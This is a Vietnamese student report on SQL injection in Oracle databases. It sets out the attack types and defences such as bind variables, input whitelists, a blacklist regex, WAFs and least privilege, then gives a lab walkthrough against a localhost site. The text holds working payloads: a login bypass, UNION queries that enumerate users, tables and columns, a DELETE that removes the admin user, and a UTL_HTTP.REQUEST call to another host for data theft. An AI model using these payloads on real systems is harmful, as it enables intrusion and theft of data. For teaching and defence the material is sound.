Oracle cung cấp các phương pháp bảo vệ mạnh mẽ để chống lại SQL Injection hơn so với các DBMS khác, tuy nhiên, nếu các ứng dụng sử dụng Oracle không có cácbiện pháp bảo vệ thì việc bị tấ
Trang 1HỌC VIỆN KỸ THUẬT MẬT MÃ
Khoa an toàn thông tin
ĐỀ TÀI:
SQL injection trong Oracle
Sinh viên thực hiện : Trần Trọng Kỳ
Đinh Thị Thủy TiênĐặng Trung Kiên
Trang 3I.2 Tấn công SQL Injection với Oracle so với các DBMS khác:
Việc tấn công SQL Injection đối với Oracle nhìn chung là khó khăn hơn đối vớicác DBMS khác vì oracle hỗ trợ ít cú pháp hơn, không có cú pháp EXCUTE (củaSQL Server), không có chức năng INTO OUTFILE (của MySQL) Ngoài ra, sửdụng các ràng buộc cho biến trong môi trường Oracle cũng giúp tốt hơn cho việcbảo vệ khỏi các cuộc tấn công SQL Injection
Oracle cung cấp các phương pháp bảo vệ mạnh mẽ để chống lại SQL Injection hơn
so với các DBMS khác, tuy nhiên, nếu các ứng dụng sử dụng Oracle không có cácbiện pháp bảo vệ thì việc bị tấn công SQL Injection là điều có thể xảy ra, đặc biệt
là đối với các ứng dụng web
Chương II SQL Injection
II.1 Các loại tấn công SQL Injection đối với CSDL Oracle
Trang 4Ở hai loại đầu tiên, SQL Manipulation và Code Injection là hai loại tấn công phổbiến đối với hầu như tất cả các DBMS (bao gồm cả SQL Server, MySQL,ProgressSQL, và Oracle).
SQL Manipulation là kiểu tấn công sửa đổi các câu lệnh SQL, thêm các mệnh đềvào câu lệnh SQL để làm cho nó luôn đúng Phổ biến nhất là sửa đổi mệnh đềWHERE trong các phiên đăng nhập để bỏ qua việc xác thực người dùng
Code Injection là khi kẻ tấn công chèn một câu lệnh SQL mới hoặc một câu lệnhcủa DBMS vào trong một câu lệnh SQL khác Điển hình là thêm một câu lệnh thựcthi SQL để làm cho câu lệnh đó bị lỗi Code Injection chỉ hoạt động khi databaseserver đó hỗ trợ chạy nhiều câu lệnh SQL một lúc (SQL Server và PostgreSQL hỗtrợ chức năng này, đôi khi có thể chạy nhiều lệnh với Oracle)
Function Call Injection là việc chèn các Function của Oracle và hoặc các fuctiontùy ý vào câu lệnh SQL dễ bị tổn thương Các function được gọi có thể gọi cácchức năng của hệ thống hoặc thực hiện thao tác trên dữ liệu trong database
SQL injection of buffer overflows là một phần của Function Call Injection Trongmột số CSDL thương mại và mã nguồn mở, các lỗ hổng tồn tại trong một sốfunction có thể gây ra lỗi tràn bộ đệm Nếu CSDL chưa được cập nhật bản vá thìrất có thể sẽ dính phải lỗi này
II.2 Nguyên nhân
Tấn công SQL Injection chỉ do một lý do là do dữ liệu nhập vào của người dùngcuối không được kiểm tra kĩ lưỡng trước khi đưa vào một câu truy vấn SQL hoặcmột stored procedure
II.3 Giải pháp
Sử dụng bind-varible là một trong những biện pháp chống lại tấn công SQLinjection trong Oracle
Trang 5Bind-variable: kỹ thuật viết mã không gán giá trị cố định, kỹ thuật này giúp tăngtính sẵn sàng, hiệu năng và bảo mật cho hệ thống Oracle Ví dụ:
Chương III Các phương thức tấn công
Như đã nói ở phần trên thì tấn công SQL injection bao gồm 4 loại phổ biến,
ở chương này sẽ đi sâu vào từng loại tấn công
III.1 SQL Maniputation
Đây là dạng tấn công phổ biến nhất của kĩ thuật tấn công SQL Injection Kẻ tấncông sẽ cố gắng để sửa đổi các câu lệnh SQL hiện có bằng cách thêm các điều kiện
Trang 6cho mệnh đề WHERE hoặc mở rộng câu lệnh bằng UNION, INTERSECT hoặcMINUS.
SQL Maniputation chủ yếu được sử dụng để bỏ qua xác thực đăng nhập, ví dụ:Câu lệnh truy vấn SQL:
SELECT * FROM users
WHERE username = 'bob' and PASSWORD = ' mypassword'
Kẻ tấn công sẽ làm câu truy vấn luôn đúng bằng cách như sau:
SELECT * FROM users
WHERE username = 'bob' and PASSWORD = ' mypassword' or 'a' = 'a'
Căn cứ vào thứ tự ưu tiên của hệ thống, mệnh đề WHERE luôn đúng vậy là hiểnnhiên kẻ tấn công sẽ đăng nhập vào được hệ thống mặc dù không biết password.Một toán tử mà kẻ tấn công cũng rất hay sử dụng trong SQL maniputation làUNION, nó có tác dụng nối các câu lệnh với nhau với mục đích lấy được các hàngtrong bảng hiện tại, ví dụ:
SELECT product_name FROM all_products
WHERE product_name like '%Chairs%'
Kẻ tấn công sẽ cố gắng sửa câu truy vấn SQL thành như sau để khai thác:
SELECT product_name FROM all_products
WHERE product_name like '%Chairs'
UNION
SELECT username FROM dba_users
WHERE username like '% '
Trang 7Kết quả trả về sẽ là danh sách các sản phẩm và kèm theo đó là một thông tin rấtnhạy cảm đó là danh sách các tài khoản trong bảng dba_users
III.2 Code injection
Đây là kiểu tấn công thêm một câu truy vấn khác đằng sau câu truy vấn hiện có,kiểu tấn công này thường gặp ở các DBMS của microsoft (SQL server), hiếm khithấy ở Oracle
Trong PL/SQL và Java, Oracle không hỗ trợ nhiều câu truy vấn trong một requestđến database Do đó, các cuộc tấn công dạng này hầu như không gặp ở CSDLOracle thông qua một PL/SQL hoặc một ứng dụng java Các request chứa nhiềucâu lệnh sẽ bị trả về kết quả một thông báo lỗi
Ví dụ:
SELECT * FROM users
WHERE username = 'bob' and PASSWORD = ' mypassword'; DELETE FROM users
WHERE username = 'admin';
PL/SQL và Java applications có thể truy xuất tự động các block PL/SQL, đây làmột điểm yếu dễ bị khai thác Sau đây là ví dụ về một block PL/SQL thực hiệntrong một ứng dụng web:
BEGIN ENCRYPT_PASSWORD(' bob', ' mypassword'); END;
Ở ví dụ trên, block PL/SQL truy xuất một stored procedure để mã hóa mật khẩucủa người dùng Kẻ tấn công sẽ lợi dụng điểm này để chèn vào một đoạn code nhưsau:
BEGIN ENCRYPT_PASSWORD('bob', ' mypassword'); DELETE FROM users
WHERE upper(username) = upper('admin'); END;
Trang 8Như vậy, sau khi mã hóa mật khẩu, hệ thống lại tiếp tục thực hiện câu lệnh sau đó
là xóa user admin ở trong bảng users
III.3 Function Call Injection
CSDL Oracle cho phép các function được thực thi như một phần của câu lệnhSQL Oracle cung cấp hơn 1000 function nằm trong 175 package tiêu chuẩn củaCSDL nhưng chỉ có một vài function là có thể sử dụng trong tấn công SQLInjection Bất cứ một function tùy chỉnh nào cũng có thể được thực thi như mộtphần của câu lệnh SQL
Một function thực thi trong câu lệnh SELECT sẽ không được phép thay đổi bất cứthứ gì trong database, trừ khi function đó được đánh dấu là “Fragma Transaction”.Trong các gói tiêu chuẩn của Oracle thì không có một function nào được thực hiệnmột autonomous transactions
Function thực thi trong câu lệnh INSERT, UPDATE hoặc DELETE thì có thể sửađổi dữ liệu trong CSDL Đối với các function tiêu chuẩn có sẵn trong Oracle, kẻtấn công có thể gửi dữ liệu đến một máy tính khác để đánh cắp thông tin
Ngoài các function package tiêu chuẩn của Oracle, khi thêm các function packagetùy chỉnh thì có thể sẽ rất dễ có các function có chức năng thay đổi mật khẩu hoặcthực hiện các transaction nhạy cảm khác
Ngay cả các câu lệnh đơn giản nhất cũng có thể bị lợi dụng để khai thác thông tin,sau đây là ví dụ minh họa:
SELECT TRANSLATE(' user input',
'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ',
'0123456789')
Trang 9FROM dual;
Kẻ tấn công nhập vào một chuỗi dạng sau để sửa đổi nội dung câu lệnh
SELECT TRANSLATE(' ' || UTL_HTTP.REQUEST('http://192.168.1.1/') || '',
Sau đây là ví dụ về việc sửa thông tin của database bằng cách sử dụng mộtfunction tùy chỉnh Chúng ta sử dụng function ADDUSER nằm trong functionpackage MYAPPADMIN và người phát triển đã đánh dấu function này là
“PRAGMA TRANSACTION” Khi được đánh dấu là “PRAGMATRANSACTION” thì nó có thể sửa CSDL ngay cả khi nằm trong câu truy vấnSELECT:
SELECT TRANSLATE(' ' || myappadmin.adduser('admin', 'newpass') || '',
Trang 10III.4 Buffer Overflow
Lỗi tràn bộ đệm có thể khai thác thông qua các lỗi của các function có sẵn trongcác bản Oracle chưa được vá lỗi Các function có thể gây ra lỗi tràn bộ đệm:tz_offset, to_timestamp_tz, và bfilename Khi xảy ra tràn bộ đệm, ứng dụng sẽ bịtreo cho đến khi client chấm dứt kết nối với CSDL
Trang 11Chương IV Phòng chống SQL Injection
Các biện pháp an ninh trên bất cứ hệ thống thông tin nào đều được triển khai theonguyên tắc phòng thủ theo chiều sâu, do đó các biện pháp phòng chống SQLInjection chúng ta cũng sẽ đề cập theo hướng mô hình này Các nội dung được đềcập sẽ bao gồm việc xây dựng các mã nguồn đảm bảo an toàn, cấu hình máy chủdatabase, DBMS và các công cụ dạng tường lửa
IV.1 Phòng chống từ mức xây dựng mã nguồn ứng dụng
Có thể coi là công việc quan trọng đầu tiên cần xử lý trong chuỗi các thao tác Cóhai mô hình có thể áp dụng cho việc lọc dữ liệu đầu vào đó là whitelist và blacklist
a, Mô hình danh sách cho phép (whitelist)
Mô hình whitelist liệt kê danh sách những giá trị input nào được cho phép, chính vìthế khi xây dựng ứng dụng người phát triển phải hiểu rõ được logic nghiệp vụ củaứng dụng cần được xây dựng
Phương pháp đơn giản nhất là xây dựng các mẫu (pattern) hợp lệ là sử dụng cácbiểu thức chính quy (regular expression) Có một vài ví dụ về biểu thức chính quy
áp dụng cho username, email, sau đây:
- Username: Chỉ chứa các ký tự chữ cái, chữ số, dấu gạch dưới, độ dài tôi thiểu 4, tối đa 50: ^([a-zA-Z0-9]|_){4,50}$
- Email: Chỉ chứa các ký tự chữ cái, chữ số, dấu gạch dưới, dấu chấm và ký tự @
sẽ có dạng như sau: ( |^)[a-zA-Z]+([a-zA-Z0-9]|_)*@([a-z0-9]+.){1,}[a-z]+( |$)
b, Mô hình danh sách cấm (Blacklist)
Mô hình này xây dựng nên các mẫu input được cho là nguy hiểm và sẽ không chấpnhận những mẫu này Mô hình blacklist sẽ kém hiệu quả hơn mô hình whitelist vì:
Trang 12- Số lượng input xấu rất lớn, không thể xét đủ được
- Khó cập nhật các mẫu này
Ưu điểm của blacklist so với whitelist là dễ xây dựng hơn Thông thường mô hìnhnày không nên sử dụng một mình mà nên sử dụng với whitelist nếu có thể Nếu sửdụng blacklist thì nhất thiết cần phải mã hóa output để giảm thiểu nguy cơ rò rỉthông tin Ví dụ về một mẫu lọc các ký tự nguy hiểm thường có trong SQL:
‘|%| |;|?|/\*|\\\*|_|\[|@|xp_
IV.2 Các biện pháp bảo vệ từ mức nền tảng hệ thống
Các biện pháp bảo vệ từ mức nền tảng hệ thống là những biện pháp cải tiến trongthời gian hoạt động hoặc các thay đổi cấu hình sao cho có thể nâng cao mức độ anninh tổng thể của ứng dụng
a, Các biện pháp bảo vệ tức thời
Những biện pháp bảo vệ tức thời là những biện pháp có thể áp dụng mà không cầnphải thực hiện lại việc biên dịch lại mã nguồn Các biện pháp bảo vệ trong thờigian hoạt động là các công cụ hữu ích nhằm phòng tránh việc lợi dụng các điểmyếu SQL injection đã được xác định
Ứng dụng tường lửa web là một ứng dụng được bố trí đóng vai trò trung gian giữaclient và web server, làm nhiệm vụ điều phối thông tin luân chuyển, cân bằng tải.Một ứng dụng WAF sẽ được bố trí như sau:
Trang 13Hình 1: Vị trí của tường lửa web trong luồng thông tin
b, Các biện pháp bảo vệ Database:
Các biện pháp bảo vệ chính database nhằm đề phòng những trường hợp xấu, khi kẻtấn công đã khai thác được điểm yếu và từ đó có thể điểu khiển các hoạt động củadatabase nhằm ăn cắp dữ liệu hoặc làm bàn đạp để thâm nhập vào hệ thống bêntrong, đằng sau database
- Giới hạn phạm vi ảnh hưởng của ứng dụng:
Các biện pháp này được đề phòng, chuẩn bị cho trường hợp xấu nhất là kẻ tấncông có thể xâm nhập được vào database:
+ Cấp quyền ưu tiên tối thiểu cho tài khoản đăng nhập vào database
+ Hủy bỏ các quyền public: Các database thường cung cấp một số chế độ mặc địnhcho tất cả các đăng nhập, chế độ này có một tập mặc định các quyền, bao gồm cảviệc truy cập tới một số đối tượng thuộc hệ thống Các chế độ công khai này đôi
Trang 14khi cung cấp những quyền truy cập tới những stored-procedure có sẵn, một số cácpackage, hoặc các function có thể sử dụng cho mục đích quản trị.
+ Sử dụng các Stored-procedure: trong trường hợp này, các stored-procedure cóvai trò đóng gói các quyền ứng dụng cần vừa đủ để thực hiện công việc của mình.+ Sử dụng các thuật toán mã hóa mạnh để mã hóa và lưu trữ các thông tin nhạycảm
- Giới hạn phạm vi ảnh hưởng của ứng dụng:
+ Khóa các quyền truy cập tới các đối tượng có đặc quyền, ví dụ những tiện íchquản trị, tiện ích thực thi gián tiếp các lệnh phía hệ điều hành, hoặc các tiện íchsinh kết nối tới các đối tượng, database khác
+ Hạn chế các truy vấn đặc biệt: câu lệnh OPENROWSET trong SQL server làmột ví dụ Việc sử dụng câu lệnh này có thể giúp kẻ tấn công cướp quyền truy vấn
và thực hiện kết nối tới các database khác dưới chế độ xác thực lỏng lẻo hơn
+ Luôn cập nhật các bản vá lỗi mới nhất của DBMS
Thực tế cho thấy không một hệ thống ứng dụng web nào được coi là an toàn tuyệtđối Các giải pháp an ninh hệ thống chỉ có thể hướng tới việc bảo vệ hệ thống mộtcách tối đa và giảm thiểu các nguy cơ tấn công xuống mức tối thiểu Một mô hình
an ninh nhiều mức là một sự lựa chọn sáng suốt cho vấn đề này Vì thế nhà pháttriển cẩn phải biết cách chọn mô hình sao cho phù hợp với hoàn cảnh và điều kiệncủa mình để đạt được hiệu suất tốt nhất
Trang 15Chương V Khai thác SQLinjection oracle
.
V.1: Khai thác thông qua lỗi đăng nhập
Truy cập địa chỉ trang web http://localhost:81/indext.php
ta có giao diện như hình sau :
Tiến hành thực hiện bypass login bằng câu truy vấn ở ô username
Password thì ta có thể điền bất kì kí tự gì thì thu được như hình
Như vậy ta đã đăng nhập thành công mà không cần có username và password của tài khoản trên
Trang 16V.2 Khai thác lấy toàn bộ username password của database
Sau khi ta đã đăng nhập được vào từ bước trước ta chuyển đến trang thông tin cá nhân của Admin, ta có thể thấy việc tương tác với cơ sở dữ liệu thông qua tham số id , thay đổi id=2,3,4… chúng ta có thể tìm thông tin của từng user
Việc thông tin hiển thị trong cơ sở dữ liệu thường sẽ không cho hacker một cách nhìn toàn diện, vì các thông số như password , username không hiển thị.Do vậy , kiểm tra các input để tìm kiếm lỗi SQL Injection là cần thiết để khai thác thông tin trên
Kiểm tra lỗi SQLinjection ở thông số id
Trang 17 Như vậy, khi sử dụng câu truy vấn :
Ta sẽ xem được liên tục các thông tin của user khác
Tiếp theo tìm số cột của bảng
Chúng ta sử dụng cậu lệnh order by giống MySQL để tìm kiếm số cột, vì câu lệnh sắp xếp sẽ dựa vào số lượng của cột, nếu số cột nằm ngoài lượng cóthể sắp xếp sẽ sinh ra lỗi Bắt đầu bằng từ 1 cho đến khi sinh ra lỗi
Sử dụng câu truy vấn sau :
http://localhost:81/profile.php?id=1’ order by x -
Trang 18Ở cột thứ 7 sinh ra lỗi, tức là chỉ có 6 cột được tìm thấy
Kiểm tra user được sử dụng hiện tại bằng câu truy vấn Khi ta đã biết được
số cột trong cơ sở dữ liệu ta bắt đầu có thể tiến hành inject những câu truy
vấn trái phép để thăm dò các dữ liệu
http:// localhost:81/profile.php?id=1' UNION SELECT NULL,NULL,NULL,NULL,NULL,user FROM dual -
Như vậy quyền user mà ta đang kiểm tra ở đây là user SYSTEM
Trang 19 Tiếp theo ta tiến hành kiểm tra tên cơ sở dữ liệu được sử dụng trong đây là
gì bằng câu truy vấn :
http:// localhost:81/profile.php?id=1' UNION SELECT
NULL,NULL,NULL,NULL,NULL,sys.database_name FROM dual
-Như vậy ta đã thu được tên cơ sở dữ liệu trên là ORCL
Trang 20 Bước tiếp theo ta tiến hành kiểm tra toàn bộ số tables có trong cơ sở dữ liệu ORCL bằng cách sử dụng câu truy vấn
http:// localhost:81/profile.php?id=1' UNION SELECT
NULL,NULL,NULL,NULL,NULL,table_name FROM all_tables
-Như vậy ta đã thu được tên các tables có trong cơ sở dữ liệu ,và tables được
ta quan tâm nhất ở đây là USERS
Khi ta đã có toàn bộ số talbes trong cơ sở dữ liệu giờ ta tiến hành tìm kiếm
số column trong tables đó bằng câu truy vấn
http:// localhost:81/profile.php?id=1' UNION SELECT
NULL,NULL,NULL,NULL,NULL,column_name FROM all_tab_columns where table_name='USERS' -